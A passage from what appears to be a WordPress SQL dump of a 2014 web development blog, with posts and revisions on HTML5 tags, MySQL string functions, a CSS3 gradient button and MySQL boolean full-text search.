Welcome.&lt;/p&gt;\n\n<b>( HTML5 )</b>  &lt;p class=myclass id=someId&gt; Welcome.&lt;/p&gt;\n\n&nbsp;\n<h2>5. Email Inputs</h2>\n<b>( HTML5 )</b>\n\n&lt;!DOCTYPE html&gt;\n\n&lt;html lang=\"en\"&gt;\n\n&lt;head&gt;\n\n&lt;meta charset=\"utf-8\"&gt;\n\n&lt;title&gt;untitled&lt;/title&gt;\n\n&lt;/head&gt;\n\n&lt;body&gt;\n\n&lt;form action=\"\" method=\"get\"&gt;\n\n&lt;label for=\"email\"&gt;Email:&lt;/label&gt;\n\n&lt;input id=\"email\" name=\"email\" type=\"email\" /&gt;\n\n&lt;button type=\"submit\"&gt; Submit Form &lt;/button&gt;\n\n&lt;/form&gt;\n\n&lt;/body&gt;\n\n&lt;/html&gt;\n\n&nbsp;\n<h2><code>6.</code><code>  </code>The Semantic <code>Header</code> and <code>Footer</code></h2>\n<b>( HTML )</b>      &lt;div id=\"header\"&gt;    ...  &lt;/div&gt;\n\n&lt;div id=\"footer\"&gt;       ...  &lt;/div&gt;\n\n<b>( HTML5 )</b>    &lt;header&gt;       ...      &lt;/header&gt;\n\n&lt;footer&gt;          ...      &lt;/footer&gt;\n<h2>7.Audio Support</h2>\n<b>( HTML5 ) </b>HTML5 now offers the <code>&lt;audio&gt;</code> element.\n\n&lt;audio autoplay=\"autoplay\" controls=\"controls\"&gt;\n\n&lt;source src=\"file.ogg\" /&gt;\n\n&lt;source src=\"file.mp3\" /&gt;\n\n&lt;a href=\"file.mp3\"&gt;Download this file.&lt;/a&gt;\n\n&lt;/audio&gt;\n<h2>8. Video Support</h2>\n<b>( HTML5 ) </b>HTML5 now offers the <code>&lt;vidio&gt;</code> element.\n\n&lt;video controls preload&gt;\n\n&lt;source src=\"cohagenPhoneCall.ogv\" type=\"video/ogg; codecs=\'vorbis, theora\'\" /&gt;\n\n&lt;source src=\"filename.mp4\" type=\"video/mp4; \'codecs=\'avc1.42E01E, mp4a.40.2\'\" /&gt;\n\n&lt;p&gt;Your browser is old.&lt;a href=\"cohagenPhoneCall.mp4\"&gt;Download this video instead.&lt;/a&gt;&lt;/p&gt;\n\n&lt;/video&gt;\n\n<span style=\"text-decoration: underline;\"> </span>\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n<pre><span style=\"text-decoration: underline;\"> </span></pre>\n<pre></pre>\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;</td>\n</tr>\n</tbody>\n</table>\n<span style=\"text-decoration: underline;\"> </span></td>\n</tr>\n</tbody>\n</table>','PHP Security Guide','','inherit','open','open','','112-autosave-v1','','','2014-07-21 09:48:48','2014-07-21 09:48:48','',112,'http://localhost/yalavarthitechnologies/blog/?p=118',0,'revision','',0),(119,1,'2014-07-21 09:49:40','2014-07-21 09:49:40','<strong>Summary:</strong>\r\n<table border=\"1\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_ascii\">ASCII()</a></td>\r\n<td>Return numeric value of left-most character</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_bin\">BIN()</a></td>\r\n<td>Return a string representation of the argument</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_bit-length\">BIT_LENGTH()</a></td>\r\n<td>Return length of argument in bits</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_char-length\">CHAR_LENGTH()</a></td>\r\n<td>Return number of characters in argument</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_char\">CHAR()</a></td>\r\n<td>Return the character for each integer passed</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_character-length\">CHARACTER_LENGTH()</a></td>\r\n<td>A synonym for CHAR_LENGTH()</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_concat-ws\">CONCAT_WS()</a></td>\r\n<td>Return concatenate with separator</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_concat\">CONCAT()</a></td>\r\n<td>Return concatenated string</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_elt\">ELT()</a></td>\r\n<td>Return string at index number</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_export-set\">EXPORT_SET()</a></td>\r\n<td>Return a string such that for every bit set in the value bits, you get an on string and for every unset bit, you get an off string</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_field\">FIELD()</a></td>\r\n<td>Return the index (position) of the first argument in the subsequent arguments</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_find-in-set\">FIND_IN_SET()</a></td>\r\n<td>Return the index position of the first argument within the second argument</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_format\">FORMAT()</a></td>\r\n<td>Return a number formatted to specified number of decimal places</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_hex\">HEX()</a></td>\r\n<td>Return a hexadecimal representation of a decimal or string value</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_insert\">INSERT()</a></td>\r\n<td>Insert a substring at the specified position up to the specified number of characters</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_instr\">INSTR()</a></td>\r\n<td>Return the index of the first occurrence of substring</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_lcase\">LCASE()</a></td>\r\n<td>Synonym for LOWER()</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_left\">LEFT()</a></td>\r\n<td>Return the leftmost number of characters as specified</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_length\">LENGTH()</a></td>\r\n<td>Return the length of a string in bytes</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-comparison-functions.html#operator_like\">LIKE</a></td>\r\n<td>Simple pattern matching</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_load-file\">LOAD_FILE()</a></td>\r\n<td>Load the named file</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_locate\">LOCATE()</a></td>\r\n<td>Return the position of the first occurrence of substring</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_lower\">LOWER()</a></td>\r\n<td>Return the argument in lowercase</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_lpad\">LPAD()</a></td>\r\n<td>Return the string argument, left-padded with the specified string</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_ltrim\">LTRIM()</a></td>\r\n<td>Remove leading spaces</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_make-set\">MAKE_SET()</a></td>\r\n<td>Return a set of comma-separated strings that have the corresponding bit in bits set</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/fulltext-search.html#function_match\">MATCH</a></td>\r\n<td>Perform full-text search</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_mid\">MID()</a></td>\r\n<td>Return a substring starting from the specified position</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-comparison-functions.html#operator_not-like\">NOT LIKE</a></td>\r\n<td>Negation of simple pattern matching</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/regexp.html#operator_not-regexp\">NOT REGEXP</a></td>\r\n<td>Negation of REGEXP</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_octet-length\">OCTET_LENGTH()</a></td>\r\n<td>A synonym for LENGTH()</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_ord\">ORD()</a></td>\r\n<td>Return character code for leftmost character of the argument</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_position\">POSITION()</a></td>\r\n<td>A synonym for LOCATE()</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_quote\">QUOTE()</a></td>\r\n<td>Escape the argument for use in an SQL statement</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/regexp.html#operator_regexp\">REGEXP</a></td>\r\n<td>Pattern matching using regular expressions</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_repeat\">REPEAT()</a></td>\r\n<td>Repeat a string the specified number of times</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_replace\">REPLACE()</a></td>\r\n<td>Replace occurrences of a specified string</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_reverse\">REVERSE()</a></td>\r\n<td>Reverse the characters in a string</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_right\">RIGHT()</a></td>\r\n<td>Return the specified rightmost number of characters</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/regexp.html#operator_regexp\">RLIKE</a></td>\r\n<td>Synonym for REGEXP</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_rpad\">RPAD()</a></td>\r\n<td>Append string the specified number of times</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_rtrim\">RTRIM()</a></td>\r\n<td>Remove trailing spaces</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_soundex\">SOUNDEX()</a></td>\r\n<td>Return a soundex string</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#operator_sounds-like\">SOUNDS LIKE</a></td>\r\n<td>Compare sounds</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_space\">SPACE()</a></td>\r\n<td>Return a string of the specified number of spaces</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-comparison-functions.html#function_strcmp\">STRCMP()</a></td>\r\n<td>Compare two strings</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_substr\">SUBSTR()</a></td>\r\n<td>Return the substring as specified</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_substring-index\">SUBSTRING_INDEX()</a></td>\r\n<td>Return a substring from a string before the specified number of occurrences of the delimiter</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_substring\">SUBSTRING()</a></td>\r\n<td>Return the substring as specified</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_trim\">TRIM()</a></td>\r\n<td>Remove leading and trailing spaces</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_ucase\">UCASE()</a></td>\r\n<td>Synonym for UPPER()</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_unhex\">UNHEX()</a></td>\r\n<td>Convert each pair of hexadecimal digits to a character</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_upper\">UPPER()</a></td>\r\n<td>Convert to uppercase</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\nReference Site: <a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_char-length\">http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_char-length</a>','Mysql String Functions','','inherit','open','open','','116-revision-v1','','','2014-07-21 09:49:40','2014-07-21 09:49:40','',116,'http://localhost/yalavarthitechnologies/blog/?p=119',0,'revision','',0),(120,1,'2014-07-21 09:52:32','2014-07-21 09:52:32','<strong>Summary:</strong>\r\n\r\nThe trend toward using Web technologies for application development, even outside of the Web browser, is here to stay. The recent revelation that <a href=\"http://www.techrepublic.com/blog/programming-and-development/windows-8-native-apps-and-html5-facts-and-conjecture/4313\" target=\"_blank\">Windows 8 will have provisions for writing apps using the HTML5 technologies</a> merely cements this shift in the development world. So the question is: How are you going to deal with it?\r\n\r\nIf you haven’t been following closely, it is easy to wonder why and how Web technologies are suddenly being cast in the role of desktop application development platforms. In the <a href=\"http://dev.w3.org/html5/spec/Overview.html\">HTML5 standard</a> that is being finalized, there are a number of new items that add on real application development capabilities to HTML’s existing document formatting. In the past, big JavaScript frameworks and browser plugins were needed for some fairly trivial functionality.\r\n\r\nHTML5 changes the game by adding support for things like video streaming, multithreaded and asynchronous processing (via the “Web Workers” message passing system), direct communications through sockets, and more. While the idea that a document format standard has these capabilities may be horrifying to some (including myself), this is the direction that HTML is headed in, and it has backing from Apple, Microsoft, Google, Mozilla, Adobe, and more. In addition, the various frameworks out there make it very easy to directly connect Web applications to backend Web services. As a result, HTML5 is now as capable as technologies like Silverlight, Flash, Flex/AIR, and JavaFX for many tasks (though there are still some things that those technologies do better).','Form a learning plan for an HTML5 future','','publish','open','open','','form-a-learning-plan-for-an-html5-future','','','2014-07-21 09:52:32','2014-07-21 09:52:32','',0,'http://localhost/yalavarthitechnologies/blog/?p=120',0,'post','',0),(121,1,'2014-07-21 09:52:32','2014-07-21 09:52:32','<strong>Summary:</strong>\r\n\r\nThe trend toward using Web technologies for application development, even outside of the Web browser, is here to stay. The recent revelation that <a href=\"http://www.techrepublic.com/blog/programming-and-development/windows-8-native-apps-and-html5-facts-and-conjecture/4313\" target=\"_blank\">Windows 8 will have provisions for writing apps using the HTML5 technologies</a> merely cements this shift in the development world. So the question is: How are you going to deal with it?\r\n\r\nIf you haven’t been following closely, it is easy to wonder why and how Web technologies are suddenly being cast in the role of desktop application development platforms. In the <a href=\"http://dev.w3.org/html5/spec/Overview.html\">HTML5 standard</a> that is being finalized, there are a number of new items that add on real application development capabilities to HTML’s existing document formatting. In the past, big JavaScript frameworks and browser plugins were needed for some fairly trivial functionality.\r\n\r\nHTML5 changes the game by adding support for things like video streaming, multithreaded and asynchronous processing (via the “Web Workers” message passing system), direct communications through sockets, and more. While the idea that a document format standard has these capabilities may be horrifying to some (including myself), this is the direction that HTML is headed in, and it has backing from Apple, Microsoft, Google, Mozilla, Adobe, and more. In addition, the various frameworks out there make it very easy to directly connect Web applications to backend Web services. As a result, HTML5 is now as capable as technologies like Silverlight, Flash, Flex/AIR, and JavaFX for many tasks (though there are still some things that those technologies do better).','Form a learning plan for an HTML5 future','','inherit','open','open','','120-revision-v1','','','2014-07-21 09:52:32','2014-07-21 09:52:32','',120,'http://localhost/yalavarthitechnologies/blog/?p=121',0,'revision','',0),(122,1,'2014-07-21 09:55:19','2014-07-21 09:55:19','<strong>Summary:</strong>\r\n\r\n<b>Try this pasting in your HTML editor and see the result.</b>\r\n\r\n&lt;!DOCTYPE HTML&gt;\r\n\r\n&nbsp;\r\n\r\n&lt;html&gt;\r\n\r\n&nbsp;\r\n\r\n&lt;head&gt;\r\n\r\n&nbsp;\r\n\r\n&lt;title&gt;Untitled Document&lt;/title&gt;\r\n\r\n&nbsp;\r\n\r\n&lt;style type=\"text/css\"&gt;\r\n\r\n&nbsp;\r\n\r\n.button {\r\n\r\n&nbsp;\r\n\r\ndisplay: inline-block;\r\n\r\n&nbsp;\r\n\r\noutline: none;\r\n\r\n&nbsp;\r\n\r\ncursor: pointer;\r\n\r\n&nbsp;\r\n\r\ntext-align: center;\r\n\r\n&nbsp;\r\n\r\ntext-decoration: none;\r\n\r\n&nbsp;\r\n\r\nfont: 14px/100% Arial, Helvetica, sans-serif;\r\n\r\n&nbsp;\r\n\r\npadding: .5em 2em .55em;\r\n\r\n&nbsp;\r\n\r\ntext-shadow: 0 1px 1px rgba(0,0,0,.3);\r\n\r\n&nbsp;\r\n\r\n-webkit-border-radius: .5em;\r\n\r\n&nbsp;\r\n\r\n-moz-border-radius: .5em;\r\n\r\n&nbsp;\r\n\r\nborder-radius: .5em;\r\n\r\n&nbsp;\r\n\r\n-webkit-box-shadow: 0 1px 2px rgba(0,0,0,.2);\r\n\r\n&nbsp;\r\n\r\n-moz-box-shadow: 0 1px 2px rgba(0,0,0,.2);\r\n\r\n&nbsp;\r\n\r\nbox-shadow: 0 1px 2px rgba(0,0,0,.2);\r\n\r\n&nbsp;\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\n.button:hover {\r\n\r\n&nbsp;\r\n\r\ntext-decoration: none;\r\n\r\n&nbsp;\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\n.button:active {\r\n\r\n&nbsp;\r\n\r\nposition: relative;\r\n\r\n&nbsp;\r\n\r\ntop: 1px;\r\n\r\n&nbsp;\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\n.orange {\r\n\r\n&nbsp;\r\n\r\ncolor: #fef4e9;\r\n\r\n&nbsp;\r\n\r\nborder: solid 1px #da7c0c;\r\n\r\n&nbsp;\r\n\r\nbackground: #f78d1d;\r\n\r\n&nbsp;\r\n\r\nbackground: -webkit-gradient(linear, left top, left bottom, from(#faa51a), to(#f47a20));\r\n\r\n&nbsp;\r\n\r\nbackground: -moz-linear-gradient(top,  #faa51a,  #f47a20);\r\n\r\n&nbsp;\r\n\r\nfilter:  progid:DXImageTransform.Microsoft.gradient(startColorstr=\'#faa51a\', endColorstr=\'#f47a20\');\r\n\r\n&nbsp;\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\n.orange:hover {\r\n\r\n&nbsp;\r\n\r\nbackground: #f47c20;\r\n\r\n&nbsp;\r\n\r\nbackground: -webkit-gradient(linear, left top, left bottom, from(#f88e11), to(#f06015));\r\n\r\n&nbsp;\r\n\r\nbackground: -moz-linear-gradient(top,  #f88e11,  #f06015);\r\n\r\n&nbsp;\r\n\r\nfilter:  progid:DXImageTransform.Microsoft.gradient(startColorstr=\'#f88e11\', endColorstr=\'#f06015\');\r\n\r\n&nbsp;\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\n.orange:active {\r\n\r\n&nbsp;\r\n\r\ncolor: #fcd3a5;\r\n\r\n&nbsp;\r\n\r\nbackground: -webkit-gradient(linear, left top, left bottom, from(#f47a20), to(#faa51a));\r\n\r\n&nbsp;\r\n\r\nbackground: -moz-linear-gradient(top,  #f47a20,  #faa51a);\r\n\r\n&nbsp;\r\n\r\nfilter:  progid:DXImageTransform.Microsoft.gradient(startColorstr=\'#f47a20\', endColorstr=\'#faa51a\');\r\n\r\n&nbsp;\r\n\r\n}\r\n&lt;/style&gt;\r\n\r\n&nbsp;\r\n\r\n&lt;/head&gt;\r\n\r\n&nbsp;\r\n\r\n&lt;body&gt;\r\n\r\n&nbsp;\r\n\r\n&lt;div style=\"width:100px;\"&gt;Collabor&lt;/div&gt;\r\n\r\n&nbsp;\r\n\r\n&lt;input type=\"button\" class=\"button orange\" name=\"Collabor\" value=\"collabor\"/&gt;\r\n\r\n&nbsp;\r\n\r\n&lt;/body&gt;\r\n\r\n&nbsp;\r\n\r\n&lt;/html&gt;','CSS3 Gradient Button Without Images','','publish','open','open','','css3-gradient-button-without-images','','','2014-07-21 09:55:19','2014-07-21 09:55:19','',0,'http://localhost/yalavarthitechnologies/blog/?p=122',0,'post','',0),(123,1,'2014-07-21 09:55:19','2014-07-21 09:55:19','<strong>Summary:</strong>\r\n\r\n<b>Try this pasting in your HTML editor and see the result.</b>\r\n\r\n&lt;!DOCTYPE HTML&gt;\r\n\r\n&nbsp;\r\n\r\n&lt;html&gt;\r\n\r\n&nbsp;\r\n\r\n&lt;head&gt;\r\n\r\n&nbsp;\r\n\r\n&lt;title&gt;Untitled Document&lt;/title&gt;\r\n\r\n&nbsp;\r\n\r\n&lt;style type=\"text/css\"&gt;\r\n\r\n&nbsp;\r\n\r\n.button {\r\n\r\n&nbsp;\r\n\r\ndisplay: inline-block;\r\n\r\n&nbsp;\r\n\r\noutline: none;\r\n\r\n&nbsp;\r\n\r\ncursor: pointer;\r\n\r\n&nbsp;\r\n\r\ntext-align: center;\r\n\r\n&nbsp;\r\n\r\ntext-decoration: none;\r\n\r\n&nbsp;\r\n\r\nfont: 14px/100% Arial, Helvetica, sans-serif;\r\n\r\n&nbsp;\r\n\r\npadding: .5em 2em .55em;\r\n\r\n&nbsp;\r\n\r\ntext-shadow: 0 1px 1px rgba(0,0,0,.3);\r\n\r\n&nbsp;\r\n\r\n-webkit-border-radius: .5em;\r\n\r\n&nbsp;\r\n\r\n-moz-border-radius: .5em;\r\n\r\n&nbsp;\r\n\r\nborder-radius: .5em;\r\n\r\n&nbsp;\r\n\r\n-webkit-box-shadow: 0 1px 2px rgba(0,0,0,.2);\r\n\r\n&nbsp;\r\n\r\n-moz-box-shadow: 0 1px 2px rgba(0,0,0,.2);\r\n\r\n&nbsp;\r\n\r\nbox-shadow: 0 1px 2px rgba(0,0,0,.2);\r\n\r\n&nbsp;\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\n.button:hover {\r\n\r\n&nbsp;\r\n\r\ntext-decoration: none;\r\n\r\n&nbsp;\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\n.button:active {\r\n\r\n&nbsp;\r\n\r\nposition: relative;\r\n\r\n&nbsp;\r\n\r\ntop: 1px;\r\n\r\n&nbsp;\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\n.orange {\r\n\r\n&nbsp;\r\n\r\ncolor: #fef4e9;\r\n\r\n&nbsp;\r\n\r\nborder: solid 1px #da7c0c;\r\n\r\n&nbsp;\r\n\r\nbackground: #f78d1d;\r\n\r\n&nbsp;\r\n\r\nbackground: -webkit-gradient(linear, left top, left bottom, from(#faa51a), to(#f47a20));\r\n\r\n&nbsp;\r\n\r\nbackground: -moz-linear-gradient(top,  #faa51a,  #f47a20);\r\n\r\n&nbsp;\r\n\r\nfilter:  progid:DXImageTransform.Microsoft.gradient(startColorstr=\'#faa51a\', endColorstr=\'#f47a20\');\r\n\r\n&nbsp;\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\n.orange:hover {\r\n\r\n&nbsp;\r\n\r\nbackground: #f47c20;\r\n\r\n&nbsp;\r\n\r\nbackground: -webkit-gradient(linear, left top, left bottom, from(#f88e11), to(#f06015));\r\n\r\n&nbsp;\r\n\r\nbackground: -moz-linear-gradient(top,  #f88e11,  #f06015);\r\n\r\n&nbsp;\r\n\r\nfilter:  progid:DXImageTransform.Microsoft.gradient(startColorstr=\'#f88e11\', endColorstr=\'#f06015\');\r\n\r\n&nbsp;\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\n.orange:active {\r\n\r\n&nbsp;\r\n\r\ncolor: #fcd3a5;\r\n\r\n&nbsp;\r\n\r\nbackground: -webkit-gradient(linear, left top, left bottom, from(#f47a20), to(#faa51a));\r\n\r\n&nbsp;\r\n\r\nbackground: -moz-linear-gradient(top,  #f47a20,  #faa51a);\r\n\r\n&nbsp;\r\n\r\nfilter:  progid:DXImageTransform.Microsoft.gradient(startColorstr=\'#f47a20\', endColorstr=\'#faa51a\');\r\n\r\n&nbsp;\r\n\r\n}\r\n&lt;/style&gt;\r\n\r\n&nbsp;\r\n\r\n&lt;/head&gt;\r\n\r\n&nbsp;\r\n\r\n&lt;body&gt;\r\n\r\n&nbsp;\r\n\r\n&lt;div style=\"width:100px;\"&gt;Collabor&lt;/div&gt;\r\n\r\n&nbsp;\r\n\r\n&lt;input type=\"button\" class=\"button orange\" name=\"Collabor\" value=\"collabor\"/&gt;\r\n\r\n&nbsp;\r\n\r\n&lt;/body&gt;\r\n\r\n&nbsp;\r\n\r\n&lt;/html&gt;','CSS3 Gradient Button Without Images','','inherit','open','open','','122-revision-v1','','','2014-07-21 09:55:19','2014-07-21 09:55:19','',122,'http://localhost/yalavarthitechnologies/blog/?p=123',0,'revision','',0),(124,1,'2014-07-21 09:57:50','2014-07-21 09:57:50','<strong>Summary:</strong>\r\n\r\nMySQL can perform boolean full-text searches using the IN BOOLEAN MODE modifier. With this modifier, certain characters have special meaning at the beginning or end of words in the search string. In the following query, the + and - operators indicate that a word is required to be present or absent, respectively, for a match to occur. Thus, the query retrieves all the rows that contain the word “test” but that do <i>not</i> contain the word “event”:\r\n\r\n<b>SELECT * FROM events WHERE MATCH (event_title)</b> <b>AGAINST (\'+Test -Event\' IN BOOLEAN MODE);</b>\r\n\r\n<b> </b>\r\n\r\nNote:\r\n\r\nIn implementing this feature, MySQL uses what is sometimes referred to as <i>implied Boolean logic</i>, in which\r\n<ul>\r\n	<li>+ stands for AND</li>\r\n	<li>- stands for NOT</li>\r\n	<li>[<i>no operator</i>] implies OR</li>\r\n</ul>\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nBoolean full-text searches have these characteristics:\r\n<ul>\r\n	<li>They do not use the 50% threshold.</li>\r\n	<li>They do not automatically sort rows in order of decreasing relevance. You can see this from the preceding query result: The row with the highest relevance is the one that contains “MySQL” twice, but it is listed last, not first.</li>\r\n	<li>They can work even without a FULLTEXT index, although a search executed in this fashion would be quite slow.</li>\r\n	<li>The minimum and maximum word length full-text parameters apply.</li>\r\n	<li>The stopword list applies.</li>\r\n</ul>\r\nThe boolean full-text search capability supports the following operators:\r\n<ul>\r\n	<li>+</li>\r\n</ul>\r\nA leading plus sign indicates that this word <i>must</i> be present in each row that is returned.\r\n<ul>\r\n	<li>-</li>\r\n</ul>\r\nA leading minus sign indicates that this word must <i>not</i> be present in any of the rows that are returned.\r\n\r\nNote: The - operator acts only to exclude rows that are otherwise matched by other search terms. Thus, a boolean-mode search that contains only terms preceded by - returns an empty result. It does not return “all rows except those containing any of the excluded terms.”\r\n<ul>\r\n	<li>(no operator)</li>\r\n</ul>\r\nBy default (when neither + nor - is specified) the word is optional, but the rows that contain it are rated higher. This mimics the behavior of <a href=\"http://dev.mysql.com/doc/refman/5.0/en/fulltext-search.html#function_match\">MATCH() ... AGAINST()</a> without the IN BOOLEAN MODE modifier.\r\n<ul>\r\n	<li>&gt; &lt;</li>\r\n</ul>\r\nThese two operators are used to change a word\'s contribution to the relevance value that is assigned to a row. The &gt; operator increases the contribution and the &lt; operator decreases it. See the example following this list.\r\n<ul>\r\n	<li>( )</li>\r\n</ul>\r\nParentheses group words into subexpressions. Parenthesized groups can be nested.\r\n<ul>\r\n	<li>~</li>\r\n</ul>\r\nA leading tilde acts as a negation operator, causing the word\'s contribution to the row\'s relevance to be negative. This is useful for marking “noise” words. A row containing such a word is rated lower than others, but is not excluded altogether, as it would be with the - operator.\r\n<ul>\r\n	<li>*</li>\r\n</ul>\r\nThe asterisk serves as the truncation (or wildcard) operator. Unlike the other operators, it should be <i>appended</i> to the word to be affected. Words match if they begin with the word preceding the * operator.\r\n\r\nIf a word is specified with the truncation operator, it is not stripped from a boolean query, even if it is too short (as determined from the <a href=\"http://dev.mysql.com/doc/refman/5.0/en/server-system-variables.html#sysvar_ft_min_word_len\">ft_min_word_len</a> setting) or a stopword. This occurs because the word is not seen as too short or a stopword, but as a prefix that must be present in the document in the form of a word that begins with the prefix. Suppose that <a href=\"http://dev.mysql.com/doc/refman/5.0/en/server-system-variables.html#sysvar_ft_min_word_len\">ft_min_word_len=4</a>. ft_min_word_len=4. Then a search for \'+<i>word</i> +the*\' will likely return fewer rows than a search for \'+<i>word</i> +the\':\r\n\r\no        The former query remains as is and requires both <i>word</i> and the* (a word starting with the) to be present in the document.\r\n\r\no        The latter query is transformed to +<i>word</i> (requiring only <i>word</i> to be present). the is both too short and a stopword, and either condition is enough to cause it to be ignored.\r\n<ul>\r\n	<li>\"</li>\r\n</ul>\r\nA phrase that is enclosed within double quote (“\"”) characters matches only rows that contain the phrase <i>literally, as it was typed</i>. The full-text engine splits the phrase into words and performs a search in the FULLTEXT index for the words. Prior 